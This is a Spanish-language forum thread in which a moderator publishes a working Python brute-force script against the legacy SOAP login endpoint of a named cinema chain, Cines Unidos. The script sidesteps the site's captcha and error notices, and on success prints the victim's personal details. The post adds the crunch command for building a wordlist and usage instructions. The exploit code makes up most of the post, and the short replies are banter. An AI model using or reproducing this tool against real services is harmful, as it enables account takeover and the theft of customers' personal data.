This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

Cómo hacer un ataque por diccionario a Cines Unidos

  • 2 Replies
  • 879 Views

0 Members and 1 Guest are viewing this topic.

Online DtxdF

  • *
  • Moderador Global
  • Posts: 1123
  • Actividad:
    100%
  • Country: 00
  • Reputación 27
  • Eres un auto y tienes dos opciones: Parar o Seguir
    • View Profile
    • Mi repositorio de Github donde encontraras herramientas para tu trabajo.
    • Email

Cómo hacer un ataque por diccionario a Cines Unidos

  • on: December 19, 2021, 11:57:52 pm
Hace muy poco se You are not allowed to view links. Register or Login, la cual presentaba una vulnerabilidad más sencilla de explotar que la que se presentará en este artículo, pero no por ello menos grave.


Cines Unidos es creador de su propio Web Service, y parece que muy viejo es, ya que está o estaba pensado para soportar a Blackberry, que en sus tiempos fue un gran teléfono para muchos; pero hoy en día solo puede ser un agujero de seguridad, siendo éste un sistema heredado. Aunque es indiferente, ya que se puede soportar perfectamente una plataforma vieja, sin descuidar la seguridad, y sin por lo menos tener autenticación, de la cual carece.


Ingresando a 'You are not allowed to view links. Register or Login' es posible observar las funciones de las cual nos convida.


Aunque todas sean interesantes, las que me motivaron a redactar este modesto artículo son dos: Login y RegisterUser; siendo la primera la que protagonizará esta obra.

Resulta que Cines Unidos tiene un captcha en el registro y un molesto aviso en el de inicio de sesión el cual nos informa cuando cometemos un error en nuestras credenciales. Todo esto nos hace perder muchísimo tiempo siendo un atacante en este escenario. ¿Qué tal si usamos el Web Service para bypasear todo esto y ahorrar tiempo?


Code: (python) You are not allowed to view links. Register or Login
#!/usr/local/bin/python3.7

import zeep

WS_URL = "http://ws.cinesunidos.com/blackberry.asmx?wsdl"

def get_instance():
return zeep.Client(
WS_URL
)

def ws_login(username, password):
ws = get_instance()

return ws.service.Login(
username, password
)

def main():
import argparse

parser = argparse.ArgumentParser(description="Brute-force attack to ws.cinesunidos.com/blackberry.asmx")
parser.add_argument("-u", "--username", help="The username", required=True)
parser.add_argument("-w", "--wordlist", help="The wordlist to use", required=True, type=argparse.FileType("r", encoding="utf-8"))
parser.add_argument("-i", "--show-user-information", help="Show user information", action="store_true")

args = parser.parse_args()
username = args.username
wordlist = args.wordlist
show_info = args.show_user_information

for password in wordlist:
# Remove new line
password = password.strip()

response = ws_login(username, password)

if (response["Status"]):
print(f"[+] Password found: {password}")

if (show_info):
user_info = response.User

print("User information:")
print("################")
print("Birthdate:", f"{user_info.Birthdate}")
print("Sex:", f"{user_info.Sex}")
print("Login:", f"{user_info.Login}")
print("Name:", f"{user_info.Name}")
print("LastName:", f"{user_info.LastName}")
print("Phone:", f"{user_info.Phone}")
print("SecureId:", f"{user_info.SecureId}")
print("ExternalId:", f"{user_info.ExternalId}")
break
else:
print(f"[-] The '{password}' is incorrect...")

if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
pass

Un script es lo que se necesita para realizar esto. Un script que automatice, que sea nuestra herramienta, o nuestra arma. Su uso, por suerte, es demasiado sencillo, y tan solo depende de una librería:

Code: (bash) You are not allowed to view links. Register or Login
pip install zeep
Los únicos parámetros que debemos memorizar, son tres: -u, el nombre de usuario; -w, la lista de contraseñas; y por último, además que es opcional, pero muy útil, -i que muestra la información de usuario. Agrupando esta breve explicación, podríamos realizar la siguiente secuencia:

Code: (bash) You are not allowed to view links. Register or Login
python3.7 bruteforce.py -u [email protected] -w wordlist.lst -i
*.- [email protected]: la dirección de correo electrónico objetivo;
*.- wordlist.lst: la lista de palabras que se usarán como contraseñas, línea por línea.

Claro, que nos faltaría una cosa muy relevante: la lista de contraseñas. Es arbitraria, pero para esta Prueba de Concepto, se usará el clásico crunch:


Code: (bash) You are not allowed to view links. Register or Login
crunch 1 5 12345abc > wordlist.lst
Y como soy víctima y atacante en este escenario, introduzco intencionalmente la contraseña que conozco en cualquier línea que desee. Acto seguido: realizamos nuestro pequeño ataque.


Feliz navidad.

~ DtxdF
« Last Edit: December 21, 2021, 09:23:47 pm by AXCESS »
Los seres humanos son robots, cuyo combustible es el afanado dinero.

Offline AXCESS

  • *
  • Moderador Global
  • Posts: 1918
  • Actividad:
    100%
  • Country: 00
  • Reputación 24
    • View Profile
    • Email
Esto remacha el clavo...

Sí que está dando uña en esta navidad.
You are not allowed to view links. Register or Login

Online DtxdF

  • *
  • Moderador Global
  • Posts: 1123
  • Actividad:
    100%
  • Country: 00
  • Reputación 27
  • Eres un auto y tienes dos opciones: Parar o Seguir
    • View Profile
    • Mi repositorio de Github donde encontraras herramientas para tu trabajo.
    • Email
@AXCESS

Santa Claus le da doble regalos a los gatos. Que quede en evidencia lo siguiente:


~ DtxdF
Los seres humanos son robots, cuyo combustible es el afanado dinero.